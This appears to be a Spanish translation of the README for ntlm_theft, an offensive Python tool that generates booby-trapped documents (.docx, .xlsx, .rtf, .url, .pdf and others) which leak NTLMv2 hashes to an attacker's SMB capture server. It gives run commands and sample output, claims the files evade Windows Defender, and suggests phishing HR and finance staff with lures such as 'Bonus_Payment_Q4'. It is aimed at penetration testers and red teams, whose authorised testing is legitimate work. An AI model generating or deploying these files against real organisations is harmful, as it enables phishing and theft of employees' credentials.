
Una herramienta para generar múltiples tipos de archivos de robo de hash NTLMv2 por Jacob Wilkin (Greenwolf)
Una herramienta para generar múltiples tipos de archivos de robo de hash NTLMv2.
ntlm_theft es una herramienta Python3 de código abierto que genera 21 tipos diferentes de documentos de robo de hash. Se pueden utilizar para phishing cuando el objetivo permite el tráfico SMB fuera de su red, o si ya estás dentro de la red interna.
Los beneficios de estos tipos de archivos sobre documentos basados en macros o documentos de explotación son que todos están construidos usando "funcionalidad prevista". Ninguno fue detectado por Windows Defender Antivirus en junio de 2020, y 17 de los 21 ataques funcionaron en un host Windows 10 completamente parcheado.
ntlm_theft admite los siguientes tipos de ataque:
ntlm_theft está dirigido principalmente a probadores de penetración y equipos rojos, que lo utilizarán para realizar phishing interno en empleados de la empresa objetivo, o para probar en masa antivirus y puertas de enlace de correo electrónico. También se puede usar para phishing externo si se permite el acceso SMB saliente en el cortafuegos perimetral.
Lo he encontrado útil durante las pruebas de penetración para ver fácilmente qué tipos de archivos tengo disponibles, en lugar de dedicar tiempo a configurar un ataque específico como se usaría en compromisos de equipos rojos. Podrías enviar un archivo .rtf o .docx al departamento de recursos humanos, y un documento de hoja de cálculo .xlsx al departamento de finanzas.
Estas instrucciones te mostrarán los requisitos para y cómo usar ntlm_theft.
ntlm_theft requiere Python3 y xlsxwriter:
pip3 install xlsxwriter
Para iniciar la herramienta se deben proporcionar 4 parámetros: un formato de entrada, el archivo o carpeta de entrada y el modo de ejecución básico:
-g, --generate : Elige generar todos los archivos o un tipo de archivo específico
-s, --server : La dirección IP de tu servidor de captura de hash SMB (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)
-f, --filename : El nombre base del archivo sin extensión, se puede renombrar más tarde (ej: test, Board-Meeting2020, Bonus_Payment_Q4)
Aquí hay un ejemplo de cómo se ve una ejecución generando todos los archivos:
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

Aquí hay un ejemplo de cómo se ve una ejecución generando solo archivos modernos:
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.
Aquí hay un ejemplo de cómo se ve una ejecución generando solo un archivo xlsx:
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.
ntlm_theft Created by Jacob Wilkin Copyright (C) 2020 Jacob Wilkin
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.